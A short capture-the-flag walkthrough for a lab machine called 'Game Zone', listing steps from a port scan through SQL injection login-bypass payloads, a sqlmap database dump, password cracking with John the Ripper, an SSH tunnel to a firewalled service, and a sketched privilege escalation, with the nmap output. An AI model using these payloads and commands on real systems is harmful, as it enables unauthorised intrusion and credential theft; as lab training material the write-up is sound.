Game Zone | Nmap, SQLi, Burpsuit, SQLmap, John

Learn to hack into this machine. Understand how to use SQLMap, crack some passwords, reveal services using a reverse SSH tunnel and escalate your privileges to root!

steps

  1. scan ports
  2. try sql injection for input field
  3. admin and ' or 1=1 -- -
  4. ' or 1=1 -- - and blank
  5. capture search request in burpsuit
  6. save request as text file
  7. pass into sqlmap
    • sqlmap -r <request.txt> --dbms=mysql --dump
  8. wait for enumeration and find passwords
  9. use jtr to crack password
    • john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256
  10. look at sockets running on target
    • ss -tulpn
  11. port 10000 blocked by firewall
  12. use ssh tunnel to expose service
    • ssh -L 10000:localhost:10000 <username>@<ip>
  13. access exposed service using webbrowser localhost:10000
  14. search for exploit
  15. append to url
  16. append file location
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 61:ea:89:f1:d4:a7:dc:a5:50:f7:6d:89:c3:af:0b:03 (RSA)
|   256 b3:7d:72:46:1e:d3:41:b6:6a:91:15:16:c9:4a:a5:fa (ECDSA)
|_  256 53:67:09:dc:ff:fb:3a:3e:fb:fe:cf:d8:6d:41:27:ab (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Game Zone
Last modified 2023.11.03